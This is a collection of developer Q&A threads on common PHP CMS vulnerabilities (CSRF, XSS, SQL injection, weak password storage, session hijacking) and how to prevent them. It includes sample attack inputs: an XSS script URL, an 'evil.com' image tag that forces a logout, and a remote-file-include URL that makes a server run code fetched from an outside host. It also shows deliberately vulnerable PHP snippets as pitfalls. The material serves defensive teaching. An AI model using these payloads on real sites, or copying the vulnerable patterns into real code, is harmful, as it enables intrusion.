I'm creating a PHP CMS, one that I hope will be used by the public. Security is a major concern and I'd like to learn from some of the popular PHP CMS's like Wordpress, Joomla, Drupal, etc. What are some security flaws or vulnerabilities that they have they had in the past that I can avoid in my application and what strategies can I use to avoid them? What are other issues that I need to be concerned with that they perhaps didn't face as a vulnerability because they handled it correctly from the start? What additional security features or measures would you include, anything from minute details to system level security approaches? Please be as specific as possible. I'm generally aware of most of the usual attack vectors, but I want to make sure that all the bases are covered, so don't be afraid to mention the obvious as well. Assume PHP 5.2+.
Edit: I'm changing this to a community wiki. Even though Arkh's excellent answer is accepted, I'm still interested in further examples if you have them.
Cross-Site Request Forgery (CSRF)
Description :
The basic idea is to trick a user to a page where his browser will initiate a POST or GET request to the CMS you attack.
Imagine you know the email of a CMS powered site administrator. Email him some funny webpage with whatever you want in it. In this page, you craft a form with the data used by the admin panel of the CMS to create a new admin user. Send those data to the website admin panel, with the result in a hidden iframe of your webpage.
Voilà, you got your own administrator account made.
How to prevent it :
The usual way is to generate random short-lived (15mn to hour) nonce in all your forms. When your CMS receive a form data, it checks first if the nonce is alright. If not, the data is not used.
CMS examples :
CMS made simple
Joomla!
Drupal
ModX
More information :
On the wikipedia page and on the OWASP project.
Bad password storing
Description :
Imagine your database get hacked and published on something like wikileak. Knowing that a big part of your users use the same login and password for a lot of websites, do you want them to be easy to get ?
No. You need to mitigate the damages done if your database datas become public.
How to prevent it :
A first idea is to hash them. Which is a bad idea because of rainbow tables (even if the hash is not md5 but sha512 for example).
Second idea : add a unique random salt before hashing so the hackers has to bruteforce each password. The problem is, the hacker can compute a lot of hash fast.
So, the current idea is to make it slow to hash the passwords : you don't care because you don't do it often. But the attacker will cry when he gets from 1000 hash generated per ms to 1.
To ease the process, you can use the library phpass developped by some password guru.
CMS examples :
Joomla! : salted md5
ModX : md5
Typo3 : cleartext
Drupal : switched to phpass after this discussion.
More information :
The phpass page.
Cross Site Scripting (XSS)
Description
The goal of these attacks, is to make your website display some script which will be executed by your legitimate user.
You have two kind of these : persistent or not. The first one comes usually from something your user can save, the other count on parameters given by a request sent. Here is an example, not persistent :
<?php
if(!is_numeric($_GET['id'])){
die('The id ('.$_GET['id'].') is not valid');
}
?>
Now your attacker can just send links like http://www.example.com/vulnerable.php?id=<script>alert('XSS')</script>
How to prevent it
You need to filter everything you output to the client. The easiest way is to use htmlspecialchars if you don't want to let your user save any html. But, when you let them output html (either their own html or some generated from other things like bbcode) you have to be very careful. Here is an old example using the "onerror" event of the img tag : vBulletin vulnerability. Or you have the old Myspace's Samy.
CMS examples :
CMS made simple
Mura CMS
Drupal
ModX
More information :
You can check wikipedia and OWASP. You also have a lot of XSS vector on ha.ckers page.
Mail header injection
Description :
Mail headers are separated by the CRLF (\r\n) sequence. When you use some user data to send mails (like using it for the From: or To:) they can inject more headers. With this, they can send anonymous mails from your server.
How to prevent it :
Filter all the \n, \r, %0a and %0d characters in your headers.
CMS examples :
Jetbox CMS
More information :
Wikipedia is a good start as usual.
SQL Injection
Description :
The old classic. It happen when you form a SQL query using direct user input. If this input is crafted like needed, a user can do exactly what he want.
How to prevent it :
Simple. Don't form SQL queries with user input. Use parameterized queries.
Consider any input which is not coded by yourself as user input, be it coming from the filesystem, your own database or a webservice for example.
CMS example :
Drupal
Joomla!
ModX
Pars CMS
More information :
Wikipedia and OWASP have really good pages on the subject.
Http response splitting
Description :
Like e-mail headers, the http headers are separated by the CLRF sequence. If your application uses user input to output headers, they can use this to craft their own.
How to prevent it :
Like for emails, filter \n, \r, %0a and %0d characters from user input before using it as part of a header. You can also urlencode your headers.
CMS examples :
Drake CMS
Plone CMS
Wordpress
More information :
I'll let you guess a little as to where you can find a lot of infos about this kind of attack. OWASP and Wikipedia.
Session hijacking
Description :
In this one, the attacker want to use the session of another legitimate (and hopefully authenticated) user.
For this, he can either change his own session cookie to match the victim's one or he can make the victim use his (the attacker's) own session id.
How to prevent it :
Nothing can be perfect here :
- if the attacker steal the victim's cookie, you can check that the user session matches the user IP. But this can render your site useless if legitimate users use some proxy which change IP often.
- if the attacker makes the user use his own session ID, just use session_regenerate_id to change the session ID of a user when his rights change (login, logout, get in admin part of the website etc.).
CMS examples :
Joomla! and Drupal
Zen Cart
More information :
Wikipedia page on the subject.
Other
User DoSing : if you prevent bruteforcing of login attempt by disabling the usernames tried and not the IP the attempts come from, anyone can block all your users in 2mn. Same thing when generating new passwords : don't disable the old one until the user confirm the new one (by loging with it for example).
Using user input to do something on your filesystem. Filter this like if it was cancer mixed with aids. This concern the use of include and require on files which path is made in part from the user input.
Using eval, system, exec or anything from this kind with user input.
Don't put files you don't want web accessible in web accessible directory.
You have a lot of things you can read on the OWASP page.
I remember a rather funny one from phpBB. The autologin cookie contained a serialized array containing a userId and encrypted password (no salt). Change the password to a boolean with value true and you could log in as anyone you wanted to be. Don't you love weaktyped languages?
Another issue that phpBB had was in an regular expression for the highlighting of search keywords that had a callback (with the e modifier), which enabled you to execute your own PHP code - for example, system calls on unsecure systems or just output the config file to get the MySQL login/password.
So to sum this story up:
Watch out for PHP being weaktyped ( md5( "secretpass" ) == true ).
Be careful with all code that could be used in a callback (or worse, eval).
And of course there are the other issues already mentioned before me.
Another application level security issue that I've seen CMSes deal with is insufficiently authorizing page or function level access. In other words, security being set by only showing links when you are authorized to view those links, but not fully checking that the user account is authorized to view the page or use the functionality once they are on the page.
In other words, an admin account has links displayed to go to user management pages. But the user management page only checks that the user is logged in, not that they are logged in and admin. A regular user then logs in, manually types in the admin page URI, then has full admin access to the user management pages and makes their account into an admin account.
You'd be surprised how many times I've seen things like that even in shopping cart applications where user CC data is viewable.
The biggest one that so many people seem to either forget or not realise is that anyone can post any data to your scripts, including cookies and sessions etc. And don't forget, just because a user is logged in, doesn't mean they can do any action.
For example, if you had a script that handles the adding/editing of a comment, you might have this:
if ( userIsLoggedIn() ) {
saveComment( $_POST['commentid'], $_POST['commenttext'] )
}
Can you see what's wrong? You checked that the user is logged in, but you didn't check if the user owns the comment, or is able to edit the comment. Which means any logged-in user could post a comment ID and content and edit others' comments!
Another thing to remember when providing software to others is that server set ups vary wildly. When data is posted you may want to do this, for example:
if (get_magic_quotes_gpc())
$var = stripslashes($_POST['var']);
else
$var = $_POST['var'];
So so many..
A number of answers here are listing specific vuls they remember or generic "things i worry about when writing a webapp", but if you want a reasonably reliable list of a majority of reported vulnerabilities found historically, then you wouldn't do much worse than to search the National Vulnerability Database
There are 582 vulnerabilities reported in Joomla or Joomla addons, 199 for Wordpress and 345 for Drupal for you to digest.
For generic understanding of common webapp vuls, the OWASP Top Ten project has recently been updated and is an essential read for any web developer.
A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
Four big ones in my mind:
using exec on untrusted data/code (or in general)
include-ing files from remote URL's for local execution
enabling register globals so that get and post variables
get variable values automatically assigned.
not escaping db entered data/ allowing SQL injection attacks
(usually happens when not using a DB API layer)
Disallow POST from other domain/IP So Bots cant login/submit forms.
People, the biggest security breech, is the human stupidity. Trust, review code. You need a special team, which will review anything that added as an extra code in your application, cms's problem are the outsource, the incomings, WordPress, Drupal, Joomla, and other popular cms, like default installations, they are really in a very good point secure. The problem is coming when you leave people to add extra code in your application, without a good review (or better, without penetration testing). This is the point where WordPress and Joomla have the weakness, there re so many plugin n theme devs, there are so many approvals,hundreds of outdated plugins n themes outhere.... So imho, if you are able to build a strong team, a good security plan, train your contributors, and learn them how to code secure, and with all the other comments before mine, then you will be able to move on and say :ei hi that's my cms, and it's a bit more secure than all the other cms on the net ;)
Here's a potential pitfall for forum admins especially, but also anyone who codes up a form with a dropdown selector but doesn't validate that the posted response was actually one of the available options.
In college, I realized that the user's 'country' selector in phpBB had no such validation.
In our school forum, Instead of 'United States' or 'Afganistan', my country could be ANYTHING, no matter how silly, or filthy. All I needed was an html POST form. It took my classmates a few days to figure out how I had done it, but soon, all the 'cool kids' had funny phrases instead of countries displayed under their usernames.
Going to a geek college was awesome. :D
Related
I have seen a lot of articles about creating a feature on a register page where usernames will be automatically checked in the database so the user can know if his username has been taken already. However, this seems to be very insecure to me. I think (am not sure) that hackers could flood the PHP script that checks the database and overload the server. What are the potential security risks of setting up a system like those described in the articles below and what are solutions for those issues? I'm thinking things like DDoS and brute forces, but I really don't know. Thanks.
Articles on the topic:
https://www.sanwebe.com/2013/04/username-live-check-using-ajax-php
http://www.2my4edge.com/2013/07/username-live-availability-check-using.html
http://web.enavu.com/tutorials/checking-username-availability-with-ajax-using-jquery/
Security impact of allowing user (or hackers) to identify existence about usernames can be very different. Actually usernames and emails are identical for user enumeration. So what we gonna do when someone try to register with email that already exist on database ? Are we gonna say "This e-mail has been used" ? Which is also user enumeration. What I'm try to say is, we do NOT have %100 solution for enumeration vulnerabilities during registration.
But your question is not about that, as an security engineer we need to find a decent secure design for "this" feature.
One of the most common prevention for these kind of cases is "rate limiting". You can block IP addresses that send 30 HTTP request to your /api/checkusername API in a minute.
I recently implemented OpenID for a game I'm making (Google only at this time), and I'm using lightopenid. I'm asking for minimal information back from the user (on purpose), and when they successfully authenticate, I'm passed back a long URL that looks like this https://www.google.com/accounts/o8/ud (I think that's pretty close to what it looks like, I don't have access to the database right now) with a bunch of random characters after it. I'm using this URL as the document ID in my database for fast retrieval on log in.
I'm getting to the point where I'd like to add player profiles on the site, but to do that, I'd need to publicly expose this long URL to other players.
My question is, is the URL I get back from Google safe to show other users, or do I need to find another field to expose to the user?
Knowing someone's OpenID identifier has mostly the same security implications as knowing their login. The only difference is that an OpenID identifier is a url that points to some server, so knowing it would theoretically allow a malicious user to attack the identity endpoint (i.e. that server) - but that's not a security issue for your site.
Publishing it should be mostly safe, but whether it's a good idea is another matter. A human readable string (for example, a pseudonym) might be a better choice for a user identifier.
That said, some sites consider their users' logins a secret - most don't, but that's a choice you have to make yourself.
I inherited some code that was recently attacked where the attacker sent repeated remote form submissions.
I implemented a prevention using a session auth token that I create for each user (not the session id). While I realize this specific attack is not CSRF, I adapted my solution from these posts (albeit dated).
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://tyleregeto.com/a-guide-to-nonce
http://shiflett.org/articles/cross-site-request-forgeries
However, it still feels there is some vulnerability here. While I understand nothing is 100% secure, I have some questions:
Couldn't a potential attacker simply start a valid session then include the session id (via cookie) with each of their requests?
It seems an nonce would be better than session token. What's the best way to generate and track an nonce?
I came across some points about these solutions being only single window. Could someone elaborate on this point?
Do these solutions always require a session? Or can these tokens be created without a session? UPDATE, this particular page is just a single page form (no login). So starting a session just to generate a token seems excessive.
Is there a simpler solution (not CAPTCHA) that I could implement to protect against this particular attack that would not use sessions.
In the end, I am looking for a better understanding so I can implement a more robust solution.
As far as I understand you need to do three things: make all of you changing-data actions avaliable only with POST request, disallow POST requests without valid referrer(it must be from the same domain) and check auth token in each POST request(POST token value must be the same as token in cookie).
First two will make it really hard to do any harmfull CSRF request as they are usually hidden images in emails, on other sites etc., and making cross-domain POST request with valid referer should be impossible/hard to do in modern browsers. The thid will make it completely impossible to do any harmfull action without stealing user's cookies/sniffing his traffic.
Now about your questions:
This question really confuses me: if you are using auth tokens correctly then attacker must know user's token from cookie to send it along with request, so why starting a valid attacker's own session can do any harm?
Nonces will make all your links ugly - I have never seen anyone using them anymore. And I think your site can be Dosed using it as you must save/search all the nounces in database - a lot of request to generate nounces may increase your database size really fast(and searching for them will be slow).
If you allow only one nounce per user_id to prevent (2) Dos attack then if user opens a page, then opens another page and then submits the first page - his request will be denied as a new nounce was generated and the old one is already invalid.
How else you will identify a unique user without a session ID be it a cookie, GET or POST variable?
UPD: As we are not talking abot CSRF anymore: you may implement many obscure defences that will prevent spider bots from submitting your form:
Hidden form fields that should not be filled(bots usually fill most of form fields that they see that have good names, even if they are realy hidden for a user)
Javascript mouse trackers (you can analyse recorded mouse movements to detect bots)
File request logs analysis(when a page is loaded javascript/css/images should be loaded too in most cases, but some(really rare) users have it turned off)
Javascript form changes(when a hidden(or not) field is added to a form with javascript that is required on server-side: bots usually don't execute javascript)
Traffic analysis tools like Snort to detect Bot patterns (strange user-agents, too fast form submitting, etc.).
and more, but in the end of the day some modern bots use total emulation of real user behaviour(using real browser API calls) - so if anyone really want to attack your site, no defence like this will help you. Even CAPTCHA today is not very reliable - besides complex image recognition algorithms you can now buy 1000 CAPTCHA's solved by human for any site for as low as $1(you can find services like this mostly in developing countries). So really, there is no 100% defence against bots - each case is different: sometimes you will have to create complex defence system yourself, sometimes just a little tweak will help.
I have a php site that lets registered users login (with a valid passord) and sets up a session based on their UserID. However I'm pretty sure thisis being hijacked and I've found "new" files on my server I didn't put there. My site cleans all user input for SQL injections and XSS but this keeps happening. Has anyone got any ideas on how to solve this?
A session cookie hijacking should NOT allow an attacker to create new files on your server. All it could do is given access to an authenticated user's session. It'd be up to your code, and/or the server's configuration that would allow uploading arbitrary files to the site's webroot.
To check for remote compromise hits, get the file creation times of the suspicious files (searches.php, 7.php.jpg) etc..., then comb through your server's logs to see what was happening around that time. If you're logging the session ID along with the rest of the hit, you could trivially see if the session was hijacked, as it would be used from two or more different IPs during the session's lifetime. It'd be especially obviously if the original user logged in from one ISP, then suddenly appeared to jump to a completely different ISP.
And of course, how are your sessions implemented? Cookies? PHP trans_sid (passing the session in hidden form fields and query strings)? trans_sid is especially vulnerable to hijacking, as the mere act of sharing a link to something your site also transmits the session ID, and any external links on your site will have the session ID show up in the HTTP referer.
The solution that PHP experts have come up with is to use unique keys/tokens with each submission of the forms, have a look at the idea here at net-tutes.
Don't forget have a look at the PHP Security Guide.. It covers topics including XSS, Form Spoofing, SQL Injection, session hijacking, session fixation and more.
Remember, always use proper data types in your queries, for example use the int or intval function before numbers and mysql_real_escape_string function for the string values. Example:
$my_num = (int) $_POST['some_number'];
$my_string = mysql_real_escape_string($_POST['some_string']);
You may also use the prepend statements for your queries.
Popular Project To Secure PHP Applications:
XSS Filtering Functions by Christian Stocker (Also used by Kohana framework)
HTML Purifier (Also used by Kohana framework)
OSAP PHP Security Project
I'll have ago and say that your 'cookie' is easy to guess.
Some sites, when the user logs, just create a cookie and the authentication code just checks for the EXISTENCE of a cookie.
Now, if I register and login to your site and then cut your cookie open and notice that you just store my user id then I can manipulate the value to some other user id and voila!
You get the idea.
I know questions like this have been asked a hundred of times, but mine is a little different.
I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?
One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Then when users load the page on evil.com, they are logged out of mysite.com!
The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.
Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation
Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories
Here are a few that I've worked on:
Storing passwords as plaintext in a DB
If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
Storing emails in the same table as your users
If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in
about an hour.
If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.
Just a few ideas and things I've dealt with. Hope it helps!
I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
What this allowed anyone to do is remotely execute any code they wanted. Behold:
http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.
Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.
Poor password-creation, distribution, and protection policy.
FTP account cracking can result in malicious code being uploaded to your site.
Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.
Here are some of the common pitfalls i have seen:
1. Not escaping entities
It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.
echo $_GET['username'];
2. Not Escaping SQL input
$query = "select * fromt able where id = {$_GET['id']}";
3. Requiring and including files incorrectly
include($_GET['filename']);
4. Double escaping quotes
If magic_quotes_gpc is true, then using addslahes will add one more slash
thereby adding two slashes in all.
PHP has been around for more than 10 years and it matured a lot.
Beware of lax defaults in php.ini.
Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.
Cheers